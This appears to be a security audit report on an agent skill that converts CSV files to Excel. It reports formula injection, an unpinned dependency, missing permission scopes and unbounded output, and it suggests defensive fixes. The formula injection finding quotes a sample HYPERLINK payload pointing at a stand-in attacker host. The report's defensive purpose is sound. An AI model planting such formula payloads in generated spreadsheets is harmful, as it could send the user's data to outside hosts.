Back to skill

Security audit

csv to excel

Security checks for vulnerabilities and agentic risk

Overview

This is a straightforward local CSV-to-Excel converter, with ordinary dependency and spreadsheet-safety cautions but no evidence of hidden or malicious behavior.

Install only if you are comfortable running a local converter on files you choose. Use a virtual environment, consider pinning openpyxl, and be careful with CSV files from untrusted sources because formula-like cells may remain executable when the generated workbook is opened.

Vulnerability Patterns
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (2)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/csv_to_excel.py:155
Finding
Untrusted CSV Values Can Be Written as Executable Spreadsheet Formulas## Vulnerability Details **File Location**: `scripts/csv_to_excel.py:155-157` **Vulnerability Type**: CSV formula injection **Risk Level**: Medium **Vulnerable Code**: ```python # Write data to worksheet for row_data in rows: ws.append(row_data) ``` ### Technical Analysis The converter appends every untrusted CSV field directly to an `openpyxl` worksheet without validating or neutralizing formula syntax. In particular, a string beginning with `=` may be stored as an Excel formula rather than inert text. Consequently, an attacker who controls the source CSV can place spreadsheet formulas in the generated workbook. Depending on the spreadsheet application and its security configuration, a malicious formula may trigger external resource requests, disclose workbook or environment-derived information through attacker-controlled URLs, present deceptive content, or invoke legacy spreadsheet functionality. The vulnerability is caused by crossing the CSV-to-spreadsheet trust boundary without distinguishing user data from executable spreadsheet expressions. ### Attack Path 1. An attacker creates or modifies a CSV field so that it begins with a formula marker, such as `=HYPERLINK("https://attacker.example/collect","Open report")`. 2. A user runs the converter against the attacker-controlled CSV. 3. `read_csv_with_encoding()` returns the payload as a string. 4. `ws.append(row_data)` writes it to the workbook without sanitization. 5. The generated XLSX file is opened in Excel or another compatible spreadsheet application. 6. The spreadsheet interprets the field as a formula. Subsequent execution or user interaction may initiate an attacker-controlled request or other formula-supported behavior. ### Impact Assessment Exploitation does not grant the converter elevated operating-system privileges by itself. Its scope is the generated workbook and the privileges available to the spreadsheet applicatio ...[truncated 342 chars]
Remediation
## Remediation Suggestions Treat imported CSV fields as untrusted text by default: 1. Detect values beginning with formula-triggering characters, especially `=`, and also defensively handle `+`, `-`, `@`, tab, carriage return, and leading whitespace followed by one of these characters. 2. Neutralize such values by prefixing an apostrophe or explicitly creating cells with the string data type. 3. Add an opt-in flag for trusted formulas if formula preservation is a required feature; keep it disabled by default. 4. Apply sanitization to every field, not only the first column or header. 5. Add regression tests covering direct formula markers, leading whitespace, tabs, carriage returns, hyperlinks, and external-reference formulas. 6. Document that sanitization prevents CSV content from being treated as executable spreadsheet expressions. Example defensive approach: ```python def sanitize_spreadsheet_value(value): if not isinstance(value, str): return value normalized = value.lstrip(" \t\r\n") if normalized.startswith(("=", "+", "-", "@")): return "'" + value return value for row_data in rows: ws.append([sanitize_spreadsheet_value(value) for value in row_data]) ```

T08 · Insecure Dependencies

Note
Location
SKILL.md:102
Finding
Dependency Installation Instructions Do Not Pin or Verify openpyxl## Vulnerability Details **File Location**: `SKILL.md:102-106` **Vulnerability Type**: Unpinned and unhashed third-party dependency **Risk Level**: Low **Vulnerable Documentation**: ```markdown ## Dependencies The script requires `openpyxl`: ```bash pip install openpyxl ``` ``` ### Technical Analysis The documented command installs whichever `openpyxl` release the configured Python package index resolves at installation time. It does not pin a reviewed version, verify an artifact hash, or otherwise provide a reproducible dependency set. An unpinned dependency is not evidence that the current `openpyxl` package is malicious. However, this installation practice increases supply-chain exposure: future releases or artifacts served by an untrusted or compromised configured index could differ from those reviewed during development. Package installation and subsequent import occur with the invoking user's privileges. ### Attack Path 1. A user follows the documented `pip install openpyxl` instruction. 2. `pip` contacts the package index configured in the user's environment. 3. Because no version or hash is specified, the resolver selects the currently available compatible release. 4. If the configured index, account, release, or artifact has been compromised, an unsafe artifact may be installed. 5. Malicious package behavior may run during installation or when the converter imports `openpyxl`. This path requires a compromised or attacker-controlled supply-chain component; the repository itself does not retrieve a remote payload directly. ### Impact Assessment If a malicious dependency artifact were resolved, its code could execute with the privileges of the user running `pip` or the conversion script. It could potentially access files and credentials available to that user, modify the user's environment, or communicate over the network. The practical likelihood is reduced when installation uses the official packa ...[truncated 88 chars]
Remediation
## Remediation Suggestions 1. Pin `openpyxl` to a reviewed, compatible version. 2. Maintain dependencies in a lock or requirements file containing cryptographic hashes. 3. Install with hash enforcement, for example: ```bash python -m pip install --require-hashes -r requirements.txt ``` 4. Populate `requirements.txt` with an exact version and hashes obtained through a controlled dependency update process. 5. Recommend installation from a trusted package index and avoid undocumented mirrors. 6. Use automated dependency vulnerability scanning and periodically update the pin after review and testing. 7. Install the dependency in an isolated virtual environment with least-privilege user permissions.
Vulnerability Patterns
  • Output HandlingUnvalidated Output Injection, Cross-Context Output, Unbounded Output
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (2)

Lp3

Medium
Category
MCP Least Privilege
Confidence
89% confidence
Finding
The skill documents use of a local Python script that reads user-supplied CSV files, but the manifest declares no explicit tool scope or permissions. This creates an authorization gap: an agent may invoke file-reading behavior without clear least-privilege constraints or user-visible boundaries, increasing the chance of unintended access to local files if inputs or paths are manipulated.

Unbounded Output

Medium
Category
Output Handling
Content
# Auto-adjust column widths
    for column in ws.columns:
        max_length = 0
        column_letter = get_column_letter(column[0].column)
        
        for cell in column:
Confidence
75% confidence
Finding
Output size or generation rate is not bounded. Unbounded output enables denial-of-service through resource exhaustion, log flooding, or context-window stuffing.

Static analysis

No suspicious patterns detected.